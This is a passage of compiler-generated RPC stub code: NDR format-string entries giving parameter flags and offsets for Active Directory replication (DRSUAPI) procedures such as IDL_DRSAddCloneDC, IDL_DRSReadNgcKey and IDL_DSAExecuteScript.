*/\tNdrFcShort( 0x48 ),\t/* Flags:  in, base type, */\n/* 1488 */\tNdrFcShort( 0x8 ),\t/* x86 Stack size/offset = 8 */\n/* 1490 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Parameter pmsgIn */\n\n/* 1492 */\tNdrFcShort( 0x10b ),\t/* Flags:  must size, must free, in, simple ref, */\n/* 1494 */\tNdrFcShort( 0x10 ),\t/* x86 Stack size/offset = 16 */\n/* 1496 */\tNdrFcShort( 0x19a0 ),\t/* Type Offset=6560 */\n\n\t/* Parameter pdwOutVersion */\n\n/* 1498 */\tNdrFcShort( 0x2150 ),\t/* Flags:  out, base type, simple ref, srv alloc size=8 */\n/* 1500 */\tNdrFcShort( 0x18 ),\t/* x86 Stack size/offset = 24 */\n/* 1502 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Parameter pmsgOut */\n\n/* 1504 */\tNdrFcShort( 0x4113 ),\t/* Flags:  must size, must free, out, simple ref, srv alloc size=16 */\n/* 1506 */\tNdrFcShort( 0x20 ),\t/* x86 Stack size/offset = 32 */\n/* 1508 */\tNdrFcShort( 0x19e8 ),\t/* Type Offset=6632 */\n\n\t/* Return value */\n\n/* 1510 */\tNdrFcShort( 0x70 ),\t/* Flags:  out, return, base type, */\n/* 1512 */\tNdrFcShort( 0x28 ),\t/* x86 Stack size/offset = 40 */\n/* 1514 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Procedure IDL_DRSQuerySitesByCost */\n\n/* 1516 */\t0x0,\t\t/* 0 */\n\t\t\t0x48,\t\t/* Old Flags:  */\n/* 1518 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 1522 */\tNdrFcShort( 0x18 ),\t/* 24 */\n/* 1524 */\tNdrFcShort( 0x30 ),\t/* x86 Stack size/offset = 48 */\n/* 1526 */\t0x30,\t\t/* FC_BIND_CONTEXT */\n\t\t\t0x40,\t\t/* Ctxt flags:  in, */\n/* 1528 */\tNdrFcShort( 0x0 ),\t/* x86 Stack size/offset = 0 */\n/* 1530 */\t0x0,\t\t/* 0 */\n\t\t\t0x0,\t\t/* 0 */\n/* 1532 */\tNdrFcShort( 0x2c ),\t/* 44 */\n/* 1534 */\tNdrFcShort( 0x24 ),\t/* 36 */\n/* 1536 */\t0x47,\t\t/* Oi2 Flags:  srv must size, clt must size, has return, has ext, */\n\t\t\t0x6,\t\t/* 6 */\n/* 1538 */\t0xa,\t\t/* 10 */\n\t\t\t0x47,\t\t/* Ext Flags:  new corr desc, clt corr check, srv corr check, has range on conformance */\n/* 1540 */\tNdrFcShort( 0x1 ),\t/* 1 */\n/* 1542 */\tNdrFcShort( 0x1 ),\t/* 1 */\n/* 1544 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 1546 */\tNdrFcShort( 0x0 ),\t/* 0 */\n\n\t/* Parameter hDrs */\n\n/* 1548 */\tNdrFcShort( 0x8 ),\t/* Flags:  in, */\n/* 1550 */\tNdrFcShort( 0x0 ),\t/* x86 Stack size/offset = 0 */\n/* 1552 */\tNdrFcShort( 0x4e ),\t/* Type Offset=78 */\n\n\t/* Parameter dwInVersion */\n\n/* 1554 */\tNdrFcShort( 0x48 ),\t/* Flags:  in, base type, */\n/* 1556 */\tNdrFcShort( 0x8 ),\t/* x86 Stack size/offset = 8 */\n/* 1558 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Parameter pmsgIn */\n\n/* 1560 */\tNdrFcShort( 0x10b ),\t/* Flags:  must size, must free, in, simple ref, */\n/* 1562 */\tNdrFcShort( 0x10 ),\t/* x86 Stack size/offset = 16 */\n/* 1564 */\tNdrFcShort( 0x1a46 ),\t/* Type Offset=6726 */\n\n\t/* Parameter pdwOutVersion */\n\n/* 1566 */\tNdrFcShort( 0x2150 ),\t/* Flags:  out, base type, simple ref, srv alloc size=8 */\n/* 1568 */\tNdrFcShort( 0x18 ),\t/* x86 Stack size/offset = 24 */\n/* 1570 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Parameter pmsgOut */\n\n/* 1572 */\tNdrFcShort( 0x6113 ),\t/* Flags:  must size, must free, out, simple ref, srv alloc size=24 */\n/* 1574 */\tNdrFcShort( 0x20 ),\t/* x86 Stack size/offset = 32 */\n/* 1576 */\tNdrFcShort( 0x1aac ),\t/* Type Offset=6828 */\n\n\t/* Return value */\n\n/* 1578 */\tNdrFcShort( 0x70 ),\t/* Flags:  out, return, base type, */\n/* 1580 */\tNdrFcShort( 0x28 ),\t/* x86 Stack size/offset = 40 */\n/* 1582 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Procedure IDL_DRSInitDemotion */\n\n/* 1584 */\t0x0,\t\t/* 0 */\n\t\t\t0x48,\t\t/* Old Flags:  */\n/* 1586 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 1590 */\tNdrFcShort( 0x19 ),\t/* 25 */\n/* 1592 */\tNdrFcShort( 0x30 ),\t/* x86 Stack size/offset = 48 */\n/* 1594 */\t0x30,\t\t/* FC_BIND_CONTEXT */\n\t\t\t0x40,\t\t/* Ctxt flags:  in, */\n/* 1596 */\tNdrFcShort( 0x0 ),\t/* x86 Stack size/offset = 0 */\n/* 1598 */\t0x0,\t\t/* 0 */\n\t\t\t0x0,\t\t/* 0 */\n/* 1600 */\tNdrFcShort( 0x2c ),\t/* 44 */\n/* 1602 */\tNdrFcShort( 0x24 ),\t/* 36 */\n/* 1604 */\t0x47,\t\t/* Oi2 Flags:  srv must size, clt must size, has return, has ext, */\n\t\t\t0x6,\t\t/* 6 */\n/* 1606 */\t0xa,\t\t/* 10 */\n\t\t\t0x47,\t\t/* Ext Flags:  new corr desc, clt corr check, srv corr check, has range on conformance */\n/* 1608 */\tNdrFcShort( 0x1 ),\t/* 1 */\n/* 1610 */\tNdrFcShort( 0x1 ),\t/* 1 */\n/* 1612 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 1614 */\tNdrFcShort( 0x0 ),\t/* 0 */\n\n\t/* Parameter hDrs */\n\n/* 1616 */\tNdrFcShort( 0x8 ),\t/* Flags:  in, */\n/* 1618 */\tNdrFcShort( 0x0 ),\t/* x86 Stack size/offset = 0 */\n/* 1620 */\tNdrFcShort( 0x4e ),\t/* Type Offset=78 */\n\n\t/* Parameter dwInVersion */\n\n/* 1622 */\tNdrFcShort( 0x48 ),\t/* Flags:  in, base type, */\n/* 1624 */\tNdrFcShort( 0x8 ),\t/* x86 Stack size/offset = 8 */\n/* 1626 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Parameter pmsgIn */\n\n/* 1628 */\tNdrFcShort( 0x10b ),\t/* Flags:  must size, must free, in, simple ref, */\n/* 1630 */\tNdrFcShort( 0x10 ),\t/* x86 Stack size/offset = 16 */\n/* 1632 */\tNdrFcShort( 0x1b0c ),\t/* Type Offset=6924 */\n\n\t/* Parameter pdwOutVersion */\n\n/* 1634 */\tNdrFcShort( 0x2150 ),\t/* Flags:  out, base type, simple ref, srv alloc size=8 */\n/* 1636 */\tNdrFcShort( 0x18 ),\t/* x86 Stack size/offset = 24 */\n/* 1638 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Parameter pmsgOut */\n\n/* 1640 */\tNdrFcShort( 0x2113 ),\t/* Flags:  must size, must free, out, simple ref, srv alloc size=8 */\n/* 1642 */\tNdrFcShort( 0x20 ),\t/* x86 Stack size/offset = 32 */\n/* 1644 */\tNdrFcShort( 0x1b30 ),\t/* Type Offset=6960 */\n\n\t/* Return value */\n\n/* 1646 */\tNdrFcShort( 0x70 ),\t/* Flags:  out, return, base type, */\n/* 1648 */\tNdrFcShort( 0x28 ),\t/* x86 Stack size/offset = 40 */\n/* 1650 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Procedure IDL_DRSReplicaDemotion */\n\n/* 1652 */\t0x0,\t\t/* 0 */\n\t\t\t0x48,\t\t/* Old Flags:  */\n/* 1654 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 1658 */\tNdrFcShort( 0x1a ),\t/* 26 */\n/* 1660 */\tNdrFcShort( 0x30 ),\t/* x86 Stack size/offset = 48 */\n/* 1662 */\t0x30,\t\t/* FC_BIND_CONTEXT */\n\t\t\t0x40,\t\t/* Ctxt flags:  in, */\n/* 1664 */\tNdrFcShort( 0x0 ),\t/* x86 Stack size/offset = 0 */\n/* 1666 */\t0x0,\t\t/* 0 */\n\t\t\t0x0,\t\t/* 0 */\n/* 1668 */\tNdrFcShort( 0x2c ),\t/* 44 */\n/* 1670 */\tNdrFcShort( 0x24 ),\t/* 36 */\n/* 1672 */\t0x47,\t\t/* Oi2 Flags:  srv must size, clt must size, has return, has ext, */\n\t\t\t0x6,\t\t/* 6 */\n/* 1674 */\t0xa,\t\t/* 10 */\n\t\t\t0x47,\t\t/* Ext Flags:  new corr desc, clt corr check, srv corr check, has range on conformance */\n/* 1676 */\tNdrFcShort( 0x1 ),\t/* 1 */\n/* 1678 */\tNdrFcShort( 0x1 ),\t/* 1 */\n/* 1680 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 1682 */\tNdrFcShort( 0x0 ),\t/* 0 */\n\n\t/* Parameter hDrs */\n\n/* 1684 */\tNdrFcShort( 0x8 ),\t/* Flags:  in, */\n/* 1686 */\tNdrFcShort( 0x0 ),\t/* x86 Stack size/offset = 0 */\n/* 1688 */\tNdrFcShort( 0x4e ),\t/* Type Offset=78 */\n\n\t/* Parameter dwInVersion */\n\n/* 1690 */\tNdrFcShort( 0x48 ),\t/* Flags:  in, base type, */\n/* 1692 */\tNdrFcShort( 0x8 ),\t/* x86 Stack size/offset = 8 */\n/* 1694 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Parameter pmsgIn */\n\n/* 1696 */\tNdrFcShort( 0x10b ),\t/* Flags:  must size, must free, in, simple ref, */\n/* 1698 */\tNdrFcShort( 0x10 ),\t/* x86 Stack size/offset = 16 */\n/* 1700 */\tNdrFcShort( 0x1b54 ),\t/* Type Offset=6996 */\n\n\t/* Parameter pdwOutVersion */\n\n/* 1702 */\tNdrFcShort( 0x2150 ),\t/* Flags:  out, base type, simple ref, srv alloc size=8 */\n/* 1704 */\tNdrFcShort( 0x18 ),\t/* x86 Stack size/offset = 24 */\n/* 1706 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Parameter pmsgOut */\n\n/* 1708 */\tNdrFcShort( 0x2113 ),\t/* Flags:  must size, must free, out, simple ref, srv alloc size=8 */\n/* 1710 */\tNdrFcShort( 0x20 ),\t/* x86 Stack size/offset = 32 */\n/* 1712 */\tNdrFcShort( 0x1b8c ),\t/* Type Offset=7052 */\n\n\t/* Return value */\n\n/* 1714 */\tNdrFcShort( 0x70 ),\t/* Flags:  out, return, base type, */\n/* 1716 */\tNdrFcShort( 0x28 ),\t/* x86 Stack size/offset = 40 */\n/* 1718 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Procedure IDL_DRSFinishDemotion */\n\n/* 1720 */\t0x0,\t\t/* 0 */\n\t\t\t0x48,\t\t/* Old Flags:  */\n/* 1722 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 1726 */\tNdrFcShort( 0x1b ),\t/* 27 */\n/* 1728 */\tNdrFcShort( 0x30 ),\t/* x86 Stack size/offset = 48 */\n/* 1730 */\t0x30,\t\t/* FC_BIND_CONTEXT */\n\t\t\t0x40,\t\t/* Ctxt flags:  in, */\n/* 1732 */\tNdrFcShort( 0x0 ),\t/* x86 Stack size/offset = 0 */\n/* 1734 */\t0x0,\t\t/* 0 */\n\t\t\t0x0,\t\t/* 0 */\n/* 1736 */\tNdrFcShort( 0x2c ),\t/* 44 */\n/* 1738 */\tNdrFcShort( 0x24 ),\t/* 36 */\n/* 1740 */\t0x47,\t\t/* Oi2 Flags:  srv must size, clt must size, has return, has ext, */\n\t\t\t0x6,\t\t/* 6 */\n/* 1742 */\t0xa,\t\t/* 10 */\n\t\t\t0x47,\t\t/* Ext Flags:  new corr desc, clt corr check, srv corr check, has range on conformance */\n/* 1744 */\tNdrFcShort( 0x1 ),\t/* 1 */\n/* 1746 */\tNdrFcShort( 0x1 ),\t/* 1 */\n/* 1748 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 1750 */\tNdrFcShort( 0x0 ),\t/* 0 */\n\n\t/* Parameter hDrs */\n\n/* 1752 */\tNdrFcShort( 0x8 ),\t/* Flags:  in, */\n/* 1754 */\tNdrFcShort( 0x0 ),\t/* x86 Stack size/offset = 0 */\n/* 1756 */\tNdrFcShort( 0x4e ),\t/* Type Offset=78 */\n\n\t/* Parameter dwInVersion */\n\n/* 1758 */\tNdrFcShort( 0x48 ),\t/* Flags:  in, base type, */\n/* 1760 */\tNdrFcShort( 0x8 ),\t/* x86 Stack size/offset = 8 */\n/* 1762 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Parameter pmsgIn */\n\n/* 1764 */\tNdrFcShort( 0x10b ),\t/* Flags:  must size, must free, in, simple ref, */\n/* 1766 */\tNdrFcShort( 0x10 ),\t/* x86 Stack size/offset = 16 */\n/* 1768 */\tNdrFcShort( 0x1bb0 ),\t/* Type Offset=7088 */\n\n\t/* Parameter pdwOutVersion */\n\n/* 1770 */\tNdrFcShort( 0x2150 ),\t/* Flags:  out, base type, simple ref, srv alloc size=8 */\n/* 1772 */\tNdrFcShort( 0x18 ),\t/* x86 Stack size/offset = 24 */\n/* 1774 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Parameter pmsgOut */\n\n/* 1776 */\tNdrFcShort( 0x4113 ),\t/* Flags:  must size, must free, out, simple ref, srv alloc size=16 */\n/* 1778 */\tNdrFcShort( 0x20 ),\t/* x86 Stack size/offset = 32 */\n/* 1780 */\tNdrFcShort( 0x1be8 ),\t/* Type Offset=7144 */\n\n\t/* Return value */\n\n/* 1782 */\tNdrFcShort( 0x70 ),\t/* Flags:  out, return, base type, */\n/* 1784 */\tNdrFcShort( 0x28 ),\t/* x86 Stack size/offset = 40 */\n/* 1786 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Procedure IDL_DRSAddCloneDC */\n\n/* 1788 */\t0x0,\t\t/* 0 */\n\t\t\t0x48,\t\t/* Old Flags:  */\n/* 1790 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 1794 */\tNdrFcShort( 0x1c ),\t/* 28 */\n/* 1796 */\tNdrFcShort( 0x30 ),\t/* x86 Stack size/offset = 48 */\n/* 1798 */\t0x30,\t\t/* FC_BIND_CONTEXT */\n\t\t\t0x40,\t\t/* Ctxt flags:  in, */\n/* 1800 */\tNdrFcShort( 0x0 ),\t/* x86 Stack size/offset = 0 */\n/* 1802 */\t0x0,\t\t/* 0 */\n\t\t\t0x0,\t\t/* 0 */\n/* 1804 */\tNdrFcShort( 0x2c ),\t/* 44 */\n/* 1806 */\tNdrFcShort( 0x24 ),\t/* 36 */\n/* 1808 */\t0x47,\t\t/* Oi2 Flags:  srv must size, clt must size, has return, has ext, */\n\t\t\t0x6,\t\t/* 6 */\n/* 1810 */\t0xa,\t\t/* 10 */\n\t\t\t0x47,\t\t/* Ext Flags:  new corr desc, clt corr check, srv corr check, has range on conformance */\n/* 1812 */\tNdrFcShort( 0x1 ),\t/* 1 */\n/* 1814 */\tNdrFcShort( 0x1 ),\t/* 1 */\n/* 1816 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 1818 */\tNdrFcShort( 0x0 ),\t/* 0 */\n\n\t/* Parameter hDrs */\n\n/* 1820 */\tNdrFcShort( 0x8 ),\t/* Flags:  in, */\n/* 1822 */\tNdrFcShort( 0x0 ),\t/* x86 Stack size/offset = 0 */\n/* 1824 */\tNdrFcShort( 0x4e ),\t/* Type Offset=78 */\n\n\t/* Parameter dwInVersion */\n\n/* 1826 */\tNdrFcShort( 0x48 ),\t/* Flags:  in, base type, */\n/* 1828 */\tNdrFcShort( 0x8 ),\t/* x86 Stack size/offset = 8 */\n/* 1830 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Parameter pmsgIn */\n\n/* 1832 */\tNdrFcShort( 0x10b ),\t/* Flags:  must size, must free, in, simple ref, */\n/* 1834 */\tNdrFcShort( 0x10 ),\t/* x86 Stack size/offset = 16 */\n/* 1836 */\tNdrFcShort( 0x1c14 ),\t/* Type Offset=7188 */\n\n\t/* Parameter pdwOutVersion */\n\n/* 1838 */\tNdrFcShort( 0x2150 ),\t/* Flags:  out, base type, simple ref, srv alloc size=8 */\n/* 1840 */\tNdrFcShort( 0x18 ),\t/* x86 Stack size/offset = 24 */\n/* 1842 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Parameter pmsgOut */\n\n/* 1844 */\tNdrFcShort( 0x8113 ),\t/* Flags:  must size, must free, out, simple ref, srv alloc size=32 */\n/* 1846 */\tNdrFcShort( 0x20 ),\t/* x86 Stack size/offset = 32 */\n/* 1848 */\tNdrFcShort( 0x1c4c ),\t/* Type Offset=7244 */\n\n\t/* Return value */\n\n/* 1850 */\tNdrFcShort( 0x70 ),\t/* Flags:  out, return, base type, */\n/* 1852 */\tNdrFcShort( 0x28 ),\t/* x86 Stack size/offset = 40 */\n/* 1854 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Procedure IDL_DRSWriteNgcKey */\n\n/* 1856 */\t0x0,\t\t/* 0 */\n\t\t\t0x48,\t\t/* Old Flags:  */\n/* 1858 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 1862 */\tNdrFcShort( 0x1d ),\t/* 29 */\n/* 1864 */\tNdrFcShort( 0x30 ),\t/* x86 Stack size/offset = 48 */\n/* 1866 */\t0x30,\t\t/* FC_BIND_CONTEXT */\n\t\t\t0x40,\t\t/* Ctxt flags:  in, */\n/* 1868 */\tNdrFcShort( 0x0 ),\t/* x86 Stack size/offset = 0 */\n/* 1870 */\t0x0,\t\t/* 0 */\n\t\t\t0x0,\t\t/* 0 */\n/* 1872 */\tNdrFcShort( 0x2c ),\t/* 44 */\n/* 1874 */\tNdrFcShort( 0x24 ),\t/* 36 */\n/* 1876 */\t0x47,\t\t/* Oi2 Flags:  srv must size, clt must size, has return, has ext, */\n\t\t\t0x6,\t\t/* 6 */\n/* 1878 */\t0xa,\t\t/* 10 */\n\t\t\t0x47,\t\t/* Ext Flags:  new corr desc, clt corr check, srv corr check, has range on conformance */\n/* 1880 */\tNdrFcShort( 0x1 ),\t/* 1 */\n/* 1882 */\tNdrFcShort( 0x1 ),\t/* 1 */\n/* 1884 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 1886 */\tNdrFcShort( 0x0 ),\t/* 0 */\n\n\t/* Parameter hDrs */\n\n/* 1888 */\tNdrFcShort( 0x8 ),\t/* Flags:  in, */\n/* 1890 */\tNdrFcShort( 0x0 ),\t/* x86 Stack size/offset = 0 */\n/* 1892 */\tNdrFcShort( 0x4e ),\t/* Type Offset=78 */\n\n\t/* Parameter dwInVersion */\n\n/* 1894 */\tNdrFcShort( 0x48 ),\t/* Flags:  in, base type, */\n/* 1896 */\tNdrFcShort( 0x8 ),\t/* x86 Stack size/offset = 8 */\n/* 1898 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Parameter pmsgIn */\n\n/* 1900 */\tNdrFcShort( 0x10b ),\t/* Flags:  must size, must free, in, simple ref, */\n/* 1902 */\tNdrFcShort( 0x10 ),\t/* x86 Stack size/offset = 16 */\n/* 1904 */\tNdrFcShort( 0x1ca0 ),\t/* Type Offset=7328 */\n\n\t/* Parameter pdwOutVersion */\n\n/* 1906 */\tNdrFcShort( 0x2150 ),\t/* Flags:  out, base type, simple ref, srv alloc size=8 */\n/* 1908 */\tNdrFcShort( 0x18 ),\t/* x86 Stack size/offset = 24 */\n/* 1910 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Parameter pmsgOut */\n\n/* 1912 */\tNdrFcShort( 0x2113 ),\t/* Flags:  must size, must free, out, simple ref, srv alloc size=8 */\n/* 1914 */\tNdrFcShort( 0x20 ),\t/* x86 Stack size/offset = 32 */\n/* 1916 */\tNdrFcShort( 0x1cf0 ),\t/* Type Offset=7408 */\n\n\t/* Return value */\n\n/* 1918 */\tNdrFcShort( 0x70 ),\t/* Flags:  out, return, base type, */\n/* 1920 */\tNdrFcShort( 0x28 ),\t/* x86 Stack size/offset = 40 */\n/* 1922 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Procedure IDL_DRSReadNgcKey */\n\n/* 1924 */\t0x0,\t\t/* 0 */\n\t\t\t0x48,\t\t/* Old Flags:  */\n/* 1926 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 1930 */\tNdrFcShort( 0x1e ),\t/* 30 */\n/* 1932 */\tNdrFcShort( 0x30 ),\t/* x86 Stack size/offset = 48 */\n/* 1934 */\t0x30,\t\t/* FC_BIND_CONTEXT */\n\t\t\t0x40,\t\t/* Ctxt flags:  in, */\n/* 1936 */\tNdrFcShort( 0x0 ),\t/* x86 Stack size/offset = 0 */\n/* 1938 */\t0x0,\t\t/* 0 */\n\t\t\t0x0,\t\t/* 0 */\n/* 1940 */\tNdrFcShort( 0x2c ),\t/* 44 */\n/* 1942 */\tNdrFcShort( 0x24 ),\t/* 36 */\n/* 1944 */\t0x47,\t\t/* Oi2 Flags:  srv must size, clt must size, has return, has ext, */\n\t\t\t0x6,\t\t/* 6 */\n/* 1946 */\t0xa,\t\t/* 10 */\n\t\t\t0x47,\t\t/* Ext Flags:  new corr desc, clt corr check, srv corr check, has range on conformance */\n/* 1948 */\tNdrFcShort( 0x1 ),\t/* 1 */\n/* 1950 */\tNdrFcShort( 0x1 ),\t/* 1 */\n/* 1952 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 1954 */\tNdrFcShort( 0x0 ),\t/* 0 */\n\n\t/* Parameter hDrs */\n\n/* 1956 */\tNdrFcShort( 0x8 ),\t/* Flags:  in, */\n/* 1958 */\tNdrFcShort( 0x0 ),\t/* x86 Stack size/offset = 0 */\n/* 1960 */\tNdrFcShort( 0x4e ),\t/* Type Offset=78 */\n\n\t/* Parameter dwInVersion */\n\n/* 1962 */\tNdrFcShort( 0x48 ),\t/* Flags:  in, base type, */\n/* 1964 */\tNdrFcShort( 0x8 ),\t/* x86 Stack size/offset = 8 */\n/* 1966 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Parameter pmsgIn */\n\n/* 1968 */\tNdrFcShort( 0x10b ),\t/* Flags:  must size, must free, in, simple ref, */\n/* 1970 */\tNdrFcShort( 0x10 ),\t/* x86 Stack size/offset = 16 */\n/* 1972 */\tNdrFcShort( 0x1d14 ),\t/* Type Offset=7444 */\n\n\t/* Parameter pdwOutVersion */\n\n/* 1974 */\tNdrFcShort( 0x2150 ),\t/* Flags:  out, base type, simple ref, srv alloc size=8 */\n/* 1976 */\tNdrFcShort( 0x18 ),\t/* x86 Stack size/offset = 24 */\n/* 1978 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Parameter pmsgOut */\n\n/* 1980 */\tNdrFcShort( 0x4113 ),\t/* Flags:  must size, must free, out, simple ref, srv alloc size=16 */\n/* 1982 */\tNdrFcShort( 0x20 ),\t/* x86 Stack size/offset = 32 */\n/* 1984 */\tNdrFcShort( 0x1d46 ),\t/* Type Offset=7494 */\n\n\t/* Return value */\n\n/* 1986 */\tNdrFcShort( 0x70 ),\t/* Flags:  out, return, base type, */\n/* 1988 */\tNdrFcShort( 0x28 ),\t/* x86 Stack size/offset = 40 */\n/* 1990 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Procedure IDL_DSAPrepareScript */\n\n/* 1992 */\t0x0,\t\t/* 0 */\n\t\t\t0x48,\t\t/* Old Flags:  */\n/* 1994 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 1998 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 2000 */\tNdrFcShort( 0x30 ),\t/* x86 Stack size/offset = 48 */\n/* 2002 */\t0x32,\t\t/* FC_BIND_PRIMITIVE */\n\t\t\t0x0,\t\t/* 0 */\n/* 2004 */\tNdrFcShort( 0x0 ),\t/* x86 Stack size/offset = 0 */\n/* 2006 */\tNdrFcShort( 0x8 ),\t/* 8 */\n/* 2008 */\tNdrFcShort( 0x24 ),\t/* 36 */\n/* 2010 */\t0x47,\t\t/* Oi2 Flags:  srv must size, clt must size, has return, has ext, */\n\t\t\t0x5,\t\t/* 5 */\n/* 2012 */\t0xa,\t\t/* 10 */\n\t\t\t0x47,\t\t/* Ext Flags:  new corr desc, clt corr check, srv corr check, has range on conformance */\n/* 2014 */\tNdrFcShort( 0x1 ),\t/* 1 */\n/* 2016 */\tNdrFcShort( 0x1 ),\t/* 1 */\n/* 2018 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 2020 */\tNdrFcShort( 0x0 ),\t/* 0 */\n\n\t/* Parameter dwInVersion */\n\n/* 2022 */\tNdrFcShort( 0x48 ),\t/* Flags:  in, base type, */\n/* 2024 */\tNdrFcShort( 0x8 ),\t/* x86 Stack size/offset = 8 */\n/* 2026 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Parameter pmsgIn */\n\n/* 2028 */\tNdrFcShort( 0x10b ),\t/* Flags:  must size, must free, in, simple ref, */\n/* 2030 */\tNdrFcShort( 0x10 ),\t/* x86 Stack size/offset = 16 */\n/* 2032 */\tNdrFcShort( 0x1d90 ),\t/* Type Offset=7568 */\n\n\t/* Parameter pdwOutVersion */\n\n/* 2034 */\tNdrFcShort( 0x2150 ),\t/* Flags:  out, base type, simple ref, srv alloc size=8 */\n/* 2036 */\tNdrFcShort( 0x18 ),\t/* x86 Stack size/offset = 24 */\n/* 2038 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Parameter pmsgOut */\n\n/* 2040 */\tNdrFcShort( 0x113 ),\t/* Flags:  must size, must free, out, simple ref, */\n/* 2042 */\tNdrFcShort( 0x20 ),\t/* x86 Stack size/offset = 32 */\n/* 2044 */\tNdrFcShort( 0x1db4 ),\t/* Type Offset=7604 */\n\n\t/* Return value */\n\n/* 2046 */\tNdrFcShort( 0x70 ),\t/* Flags:  out, return, base type, */\n/* 2048 */\tNdrFcShort( 0x28 ),\t/* x86 Stack size/offset = 40 */\n/* 2050 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Procedure IDL_DSAExecuteScript */\n\n/* 2052 */\t0x0,\t\t/* 0 */\n\t\t\t0x48,\t\t/* Old Flags:  */\n/* 2054 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 2058 */\tNdrFcShort( 0x1 ),\t/* 1 */\n/* 2060 */\tNdrFcShort( 0x30 ),\t/* x86 Stack size/offset = 48 */\n/* 2062 */\t0x32,\t\t/* FC_BIND_PRIMITIVE */\n\t\t\t0x0,\t\t/* 0 */\n/* 2064 */\tNdrFcShort( 0x0 ),\t/* x86 Stack size/offset = 0 */\n/* 2066 */\tNdrFcShort( 0x8 ),\t/* 8 */\n/* 2068 */\tNdrFcShort( 0x24 ),\t/* 36 */\n/* 2070 */\t0x47,\t\t/* Oi2 Flags:  srv must size, clt must size, has return, has ext, */\n\t\t\t0x5,\t\t/* 5 */\n/* 2072 */\t0xa,\t\t/* 10 */\n\t\t\t0x47,\t\t/* Ext Flags:  new corr desc, clt corr check, srv corr check, has range on conformance */\n/* 2074 */\tNdrFcShort( 0x1 ),\t/* 1 */\n/* 2076 */\tNdrFcShort( 0x1 ),\t/* 1 */\n/* 2078 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 2080 */\tNdrFcShort( 0x0 ),\t/* 0 */\n\n\t/* Parameter dwInVersion */\n\n/* 2082 */\tNdrFcShort( 0x48 ),\t/* Flags:  in, base type, */\n/* 2084 */\tNdrFcShort( 0x8 ),\t/* x86 Stack size/offset = 8 */\n/* 2086 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Parameter pmsgIn */\n\n/* 2088 */\tNdrFcShort( 0x10b ),\t/* Flags:  must size, must free, in, simple ref, */\n/* 2090 */\tNdrFcShort( 0x10 ),\t/* x86 Stack size/offset = 16 */\n/* 2092 */\tNdrFcShort( 0x1e40 ),\t/* Type Offset=7744 */\n\n\t/* Parameter pdwOutVersion */\n\n/* 2094 */\tNdrFcShort( 0x2150 ),\t/* Flags:  out, base type, simple ref, srv alloc size=8 */\n/* 2096 */\tNdrFcShort( 0x18 ),\t/* x86 Stack size/offset = 24 */\n/* 2098 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Parameter pmsgOut */\n\n/* 2100 */\tNdrFcShort( 0x4113 ),\t/* Flags:  must size, must free, out, simple ref, srv alloc size=16 */\n/* 2102 